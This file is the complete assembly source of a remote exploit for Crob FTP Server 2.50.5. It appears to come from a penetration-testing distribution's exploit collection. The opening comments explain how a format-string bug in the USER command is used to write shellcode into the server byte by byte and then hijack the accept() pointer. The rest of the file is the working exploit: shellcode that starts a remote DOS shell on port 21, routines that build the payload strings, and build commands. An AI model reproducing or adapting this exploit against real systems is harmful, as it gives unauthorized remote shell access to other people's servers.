home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / crobServer / crobftp.asm < prev   
Assembly Source File  |  2005-02-12  |  14KB  |  642 lines

  1. ;CROB FTP SERVER 2.50.5 BUILD 238 EXPLOIT
  2. ;(c) Vecna 2003 - http://coderz.net/vecna - http://29a.host.sk
  3. ;
  4. ;f3ar the 7 dd exploitz!
  5. ;(you can loose 15 punds in 7 days!! ask me how!)
  6. ;
  7. ;This is my first exploit using format strings, and its for w9x(well, i tested
  8. ;it only in w98, but probably work in w95 too). The printf() implementation in
  9. ;use was not so flexible as the unix ones, or even the w2k one. so, i had to
  10. ;resort to some 'ugly' things to make it work.
  11. ;
  12. ;The first step in the exploit was build the shellcode in the remote server,
  13. ;using the format string exploit that existed in the USER command (USER %x%x).
  14. ;I did this connecting, sending a bugged USER string, that writed a byte of my
  15. ;shellcode, and disconnecting: once for each byte of our shellcode. By the
  16. ;limitations of the printf() implementation, we had to write one byte for USER
  17. ;string(except in very rare cases). More, i can only send 2 bugged USER strings
  18. ;for connection before the server started to act weird. So i resolved write one
  19. ;byte for connection. Our shellcode have, in two places, unused areas, that are
  20. ;in places where the address would contain zeros. When generating the format
  21. ;string, we take care of cases where the address have the '%' byte.
  22. ;
  23. ;The second step was choose someting to overwrite. I did this using a single
  24. ;bugged USER line, becoz the very special address i choose for the shellcode:
  25. ;10080601h. As we have to write 01h, 06h, 08h and then 10h, to form the address,
  26. ;the increasing way its bytes have allowed us write it with a single line(the
  27. ;printf() implementation limit the size of string to few more than 500).
  28. ;
  29. ;The overwrited address is a pointer to accept(). This allow to bypass any kind
  30. ;of firewall that maybe is installed in the server machine, as all the socket
  31. ;setup is done by the vulnerable server, and it surely have access to port 21,
  32. ;thats where we listen for remote DOS shells. :)
  33. ;
  34. ;When a connection its received, we restore the overwrited pointer, call the
  35. ;original accept(), create a new thread, to create the DOS shell, and return
  36. ;error to the server. This new thread create the pipes, get the command
  37. ;interpretert name in the environment, and spawn a shell, redirecting output
  38. ;and input to the socket we create first. Its done. The server will continue
  39. ;to work after exploited, and the first one to connect to port 21 after the
  40. ;exploit will gain a useful w9x remote shell :P
  41. ;
  42. ;greetz to Luca Ercoli, that found the bug.
  43. ;
  44. ;compile with:
  45. ;tasm32 /m /ml crobftp.asm
  46. ;tlink32 crobftp.obj,,,import32
  47. ;
  48. ;the includes, before you ask, are the ones from z0mbie, jacky qwerty, and
  49. ;others you should obtain in 29A e-zines, or figure out what they contain.
  50.  
  51.  
  52.  
  53. .586p
  54. .model flat
  55. locals
  56.  
  57. REMOTE_BASE EQU 10080600h               ;here we write our code...
  58. ACCEPT_ADDR EQU 5F4D2090h               ;here we write our start address...
  59. NULL_ADDR   EQU 10080538h               ;and there we write garbage
  60. API_ADDR    EQU 1008050Ch               ;here we put our API addresses
  61.  
  62. @CREATEPROCESS EQU 1008050Ch
  63. @CREATEPIPE    EQU 10080510h
  64. @GETENVVAR     EQU 10080514h
  65. @PEEKNAMEDPIPE EQU 10080518h
  66. @READFILE      EQU 1008051Ch
  67. @WRITEFILE     EQU 10080520h
  68. @CREATETHREAD  EQU 10080524h
  69. @SELECT        EQU 10080528h
  70. @RECV          EQU 1008052Ch
  71. @SEND          EQU 10080530h
  72. @ACCEPT        EQU 10080534h
  73.  
  74. __WSOCK32          EQU 00503A2Ch
  75. __KERNEL32         EQU 0059AF6Ch
  76. __GetProcAddress   EQU 0059AF5Ch
  77. __GetModuleHandleA EQU 0059AF60h
  78.  
  79. apicall macro addy
  80.        db 0ffh,015h
  81.        dd addy
  82. endm
  83.  
  84.  
  85.  
  86. .xlist
  87. include header.inc
  88. include socket.inc
  89. include consts.inc
  90. .list
  91.  
  92.  
  93. .data
  94.  
  95. copyright db "CROB FTP SERVER 2.50.5 BUILD 238 EXPLOIT",13,10
  96.           db "(c) Vecna 2003 - http://coderz.net/vecna - http://29a.host.sk",13,10,0
  97. completed db "Done! A DOS prompt should be waiting for you in port 21...",13,10,13,10,0
  98. usage     db "USAGE: CROBFTP.EXE <server>",13,10,0
  99.  
  100. msg1      db "■ Converting hostname to IP...",13,10,0
  101. msg2      db "■ Building shellcode in target: ",0
  102. msg3      db "■ Overwriting accept()...",13,10,0
  103. msg4      db 13,10,"Error...",13,10,0
  104.  
  105. fmt       db "%%.%dx",0
  106.  
  107. .data?
  108. argv0  db MAX_PATH dup (?)
  109. argv1  db MAX_PATH dup (?)
  110. argv2  db MAX_PATH dup (?)
  111. argv3  db MAX_PATH dup (?)
  112. argc   dd ?
  113. ftpserver dd ?
  114.  
  115. .code
  116.  
  117.  
  118. include console.inc
  119. include cmdline.inc
  120.  
  121.  
  122. shellcode:
  123.        db 8fh,05h
  124.        dd NULL_ADDR                     ;pop dword []
  125.  
  126.        pushad
  127.  
  128.        call @@over_api
  129.        db "CreateProcessA",0
  130.        db "CreatePipe",0
  131.        db "GetEnvironmentVariableA",0
  132.        db "PeekNamedPipe",0
  133.        db "ReadFile",0
  134.        db "WriteFile",0
  135.        db "CreateThread",0,0
  136.        db "select",0
  137.        db "recv",0
  138.        db "send",0
  139.        db "accept",0,0
  140.   @@over_api:
  141.        pop esi
  142.        mov edi,API_ADDR
  143.  
  144.        push __KERNEL32
  145.        apicall __GetModuleHandleA
  146.        xchg eax,ebx
  147.        call @@get_next
  148.        lodsb
  149.        push __WSOCK32
  150.        apicall __GetModuleHandleA
  151.        xchg eax,ebx
  152.        call @@get_next
  153.  
  154.        popad
  155.  
  156.        db 0a1h
  157.        dd @ACCEPT                       ;mov eax,[]
  158.        db 0a3h
  159.        dd ACCEPT_ADDR                   ;mov [],eax
  160.  
  161.        call eax
  162.  
  163.        pushad
  164.  
  165.        sub ebp,ebp
  166.        mov dwo [esp.Pushad_eax],-1          ;signal error for crob server
  167.  
  168.        push ebp
  169.        push esp
  170.        push ebp
  171.        push eax
  172.        call @@overshellcode
  173.  
  174.   @@remote_shell:
  175.        sub edi,edi
  176.        mov ebx,[esp.Arg1]
  177.  
  178.        push 1                   ;inherit handles
  179.        push edi
  180.        push 12
  181.        mov ebp, esp
  182.  
  183.        clc
  184.   @@pipe:
  185.        push edi
  186.        mov eax,esp
  187.        push edi
  188.        mov edx,esp
  189.  
  190. wp1 equ esp+7ch+12
  191. rp1 equ esp+7ch+8
  192. wp2 equ esp+7ch+4
  193. rp2 equ esp+7ch
  194.  
  195.        pushf
  196.  
  197.        push edi
  198.        push ebp
  199.        push eax
  200.        push edx
  201.        apicall @CREATEPIPE
  202.  
  203.        popf
  204.        cmc
  205.        jc @@pipe            ;exec 2 times ;)
  206.  
  207.        push "CEP"
  208.  
  209.        jmp @@skip100                    ;place4shit
  210.        db 10 dup (90h)
  211.   @@skip100:
  212.  
  213.        push "SMOC"
  214.        mov ecx, esp
  215.  
  216.        sub esp,7ch-8
  217.        mov esi,esp
  218.  
  219.        push 7ch
  220.        push esi
  221.        push ecx
  222.        apicall @GETENVVAR
  223.  
  224.        push dwo [wp2]         ;stderr
  225.        push dwo [wp2+4]       ;stdout
  226.        push dwo [rp1+8]       ;stdin
  227.        push edi
  228.        push edi
  229.  
  230.        push 256+1             ;STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES
  231.  
  232.        push 10
  233.        pop  ecx
  234.        push edi         ;10*4
  235.        loop $-1
  236.  
  237.        push 17*4
  238.        mov edx, esp
  239.  
  240.        push edi
  241.        push edi
  242.        push edi
  243.        push edi
  244.  
  245.        push esp
  246.        push edx     ;startupinfo
  247.        push edi
  248.        push edi
  249.        push edi
  250.        push 1       ;inherit handles
  251.        push edi
  252.        push edi
  253.        push esi     ;interpreter
  254.        push edi
  255.        apicall @CREATEPROCESS
  256.        add esp,21*4
  257.  
  258.   @@redirect:
  259.        push edi     ; alloc
  260.        mov eax, esp
  261.  
  262.        push edi
  263.        push eax
  264.        push edi
  265.        push edi
  266.        push edi
  267.        push dwo [rp2+6*4]
  268.        apicall @PEEKNAMEDPIPE
  269.        pop ecx     ;ecx=size of input data
  270.        jecxz @@readsocket
  271.  
  272.        sub esp,ecx
  273.        mov ebp,esp
  274.        push ecx
  275.  
  276.        push edi
  277.        push eax
  278.        mov edx, esp
  279.        push ebp
  280.        push ebx
  281.  
  282.        push edi
  283.        push edx
  284.        push ecx
  285.        push ebp
  286.        push dwo [ecx+rp2+9*4]
  287.        apicall @READFILE
  288.  
  289.        apicall @SEND
  290.  
  291.        pop eax
  292.        add esp,eax
  293.        jmp @@redirect
  294.  
  295.   @@readsocket:
  296.        push ebx
  297.        push 1
  298.        mov eax,esp
  299.  
  300.        push 100    ;ms
  301.        push edi    ;s
  302.  
  303.        push esp
  304.        push edi
  305.        push edi
  306.        push eax
  307.        push edi
  308.        apicall @SELECT
  309.        sub esp,-4*4
  310.        test eax,eax
  311.        jz @@redirect
  312.  
  313.        sub esp,7ch
  314.        mov ebp,esp
  315.  
  316.        push edi
  317.        push 7ch
  318.        push ebp
  319.        push ebx
  320.        apicall @RECV
  321.  
  322.        mov ecx,esp
  323.        push edi
  324.        mov edx,esp
  325.  
  326.        push edi
  327.        push edx
  328.        push eax
  329.        push ecx
  330.        push dwo [wp1+5*4+7ch]
  331.        apicall @WRITEFILE
  332.        pop eax
  333.  
  334.        add esp,7ch
  335.        jmp @@redirect
  336.  
  337.   @@overshellcode:
  338.        push ebp
  339.        push ebp
  340.        apicall @CREATETHREAD
  341.        pop eax
  342.  
  343.        popad
  344.        db 0ffh,025h
  345.        dd NULL_ADDR
  346.  
  347.   @@get_next:
  348.        push esi
  349.        push ebx
  350.        apicall __GetProcAddress
  351.        stosd
  352.   @@seek_end:
  353.        lodsb
  354.  
  355.        jmp @@skip200                    ;place4shit
  356.        db 10 dup (90h)
  357.   @@skip200:
  358.  
  359.        test al,al
  360.        jnz @@seek_end
  361.        cmp by [esi],0
  362.        jne @@get_next
  363.        ret
  364. end_shellcode:
  365.  
  366.  
  367.  
  368.  
  369.  
  370. xploit_dumpbyte:
  371.        sub ecx,ecx
  372.        pushad
  373.        call connect2ftp
  374.        jz @@close_socket
  375.  
  376.        sub esp, 8192
  377.        mov edi,esp
  378.        mov eax,"RESU"
  379.        stosd
  380.        mov eax,"VVV "                   ;the 4 align...
  381.        stosd
  382.        mov al,"V"
  383.        stosd                            ;the padding...
  384.        stosd
  385.        stosd
  386.        mov eax,[esp.cPushad.Arg1+8192]  ;the address...
  387.        mov edx,eax
  388.        stosd
  389.  
  390.        mov ecx,133
  391.        mov eax,"x8.%"
  392.        rep stosd                        ;the poppers...
  393.  
  394.        mov eax,[esp.cPushad.Arg2+8192]
  395.        movzx eax,al
  396.        cmp dl, "%"
  397.        jne @@skipskipskip
  398.        inc eax
  399.   @@skipskipskip:
  400.        add eax,0abh
  401.        push eax
  402.        push ofs fmt
  403.        push edi
  404.        callW _wsprintfA                 ;the value adjust...
  405.        add esp, 3*4
  406.  
  407.        mov esi,edi
  408.   @@seek0:
  409.        lodsb
  410.        test al,al
  411.        jnz @@seek0
  412.        lea edi,[esi-1]
  413.  
  414.        mov eax,0a0d0000h+"n%"           ;the write!
  415.        stosd
  416.  
  417.        mov esi,esp
  418.        sub edi,esi
  419.  
  420.        push 0
  421.        push edi
  422.        push esi
  423.        push ebx
  424.        callW send
  425.  
  426.        add esp, 8192
  427.        mov [esp.Pushad_ecx],esp
  428.   @@close_socket:
  429.        push ebx
  430.        callW closesocket
  431.  
  432.   @@error:
  433.        popad
  434.        ret 2*4
  435.  
  436.  
  437.  
  438.  
  439.  
  440. xploit_overwrite:
  441.        pushad
  442.  
  443.        call connect2ftp
  444.        jz @@close_socket
  445.  
  446.        sub esp,8192
  447.        mov edi,esp
  448.  
  449.        mov eax,"RESU"
  450.        stosd
  451.        mov eax,"VVV "                   ;the 4 align...
  452.        stosd
  453.        mov eax,ACCEPT_ADDR
  454.        stosd                            ;the 4 addresses...
  455.        inc eax
  456.        stosd
  457.        inc eax
  458.        stosd
  459.        inc eax
  460.        stosd
  461.  
  462.        mov ecx,9
  463.        mov eax,"f1.%"
  464.        rep stosd                        ;the first poppers...
  465.  
  466.        mov eax,10080701h
  467.        stosd                            ;more 4 addresses(garbage)...
  468.        stosd
  469.        stosd
  470.        stosd
  471.  
  472.        mov ecx,62
  473.        mov eax,"f1.%"
  474.        rep stosd                        ;more poppers...
  475.  
  476.        mov eax,"x8.%"
  477.        stosd                            ;other popper
  478.        mov eax,"01.%"
  479.        stosd                            ;the value adjust...
  480.        mov eax,"n%x1"
  481.        stosd                            ;the first write!
  482.        mov eax,"VVVV"
  483.        stosd                            ;adjust value...
  484.        mov eax,"Vn%V"
  485.        stosd                            ;second write! and adjust...
  486.        stosd                            ;third write! and adjust...
  487.        mov eax,"VVVV"
  488.        stosd
  489.        mov eax,"%VVV"
  490.        stosd                            ;adjust value some more
  491.        mov eax,0a0d00h+"n"
  492.        stosd                            ;write and goodbye!
  493.        dec edi
  494.  
  495.        mov ecx,esp
  496.        sub edi,ecx
  497.  
  498.        push 0
  499.        push edi
  500.        push ecx
  501.        push ebx
  502.        callW send
  503.  
  504.        sub esp,-8192
  505.   @@close_socket:
  506.        push ebx
  507.        callW closesocket
  508.   @@error:
  509.        popad
  510.        ret
  511.  
  512.  
  513.  
  514.  
  515.  
  516. connect2ftp:
  517.        push IPPROTO_TCP
  518.        push SOCK_STREAM
  519.        push PF_INET
  520.        callW socket
  521.        mov ebx,eax
  522.        inc eax
  523.        jz @@error
  524.  
  525.        push 0
  526.        push 0
  527.        push dwo [ftpserver]
  528.        push 21
  529.        callW htons
  530.        shl eax,16
  531.        mov ax, 2
  532.        push eax
  533.        mov eax, esp
  534.  
  535.        push 16
  536.        push eax
  537.        push ebx
  538.        callW connect
  539.        add esp, 4*4
  540.        test eax,eax
  541.        jnz @@error
  542.  
  543.        sub esp, 1024
  544.        mov esi,esp
  545.        push 0
  546.        push 1024
  547.        push esi
  548.        push ebx
  549.        callW recv
  550.        sub esp, -1024
  551.        inc eax
  552.        jz @@error
  553.  
  554.   @@fine:
  555.        cmp ax,1234h
  556.      org $-2
  557.   @@error:
  558.        sub eax,eax
  559.        ret
  560.  
  561.  
  562.  
  563.  
  564.  
  565. start:
  566.        mov edx, ofs copyright
  567.        call dump_asciiz_edx
  568.  
  569.        call getcmdline
  570.  
  571.        mov edx, ofs usage
  572.        cmp dwo [argc],2
  573.        jne @@exit
  574.  
  575.        sub esp, 200h
  576.        push esp
  577.        push 1
  578.        callW WSAStartup
  579.        sub esp, -200h
  580.  
  581.        lea esi,argv1
  582.  
  583.        push esi
  584.        callW inet_addr
  585.        cmp eax,-1
  586.        jnz @@done
  587.  
  588.        mov edx, ofs msg1
  589.        call dump_asciiz_edx
  590.  
  591.        push esi
  592.        callW gethostbyname
  593.        test eax,eax
  594.        jz @@exit
  595.        mov eax,[eax+12]
  596.        mov eax,[eax]
  597.        mov eax,[eax]
  598.   @@done:
  599.        mov dwo [ftpserver],eax
  600.  
  601.        mov edx, ofs msg2
  602.        call dump_asciiz_edx
  603.  
  604.        lea edx,msg4
  605.        mov esi, ofs shellcode
  606.        mov ebp,REMOTE_BASE
  607.   @@send_shell:
  608.        push 100
  609.        callW Sleep
  610.        mov al,"."
  611.        call dump_al
  612.        inc ebp
  613.        lodsb
  614.        mov ecx,ebp
  615.        test cl,cl
  616.        jz @@skipit
  617.        push eax
  618.        push ebp
  619.        call xploit_dumpbyte             ;send 1 byte from shellcode
  620.        jecxz @@exit
  621.   @@skipit:
  622.        cmp esi, ofs end_shellcode
  623.        jne @@send_shell
  624.  
  625.        call dump_crlf
  626.        mov edx, ofs msg3
  627.        call dump_asciiz_edx
  628.  
  629.        push 1000
  630.        callW Sleep
  631.        call xploit_overwrite            ;overwrite accept()
  632.  
  633.        callW WSACleanup
  634.  
  635.        mov edx, ofs completed
  636.   @@exit:
  637.        call dump_asciiz_edx
  638.        push 0
  639.        callW ExitProcess
  640.  
  641. end    start
  642.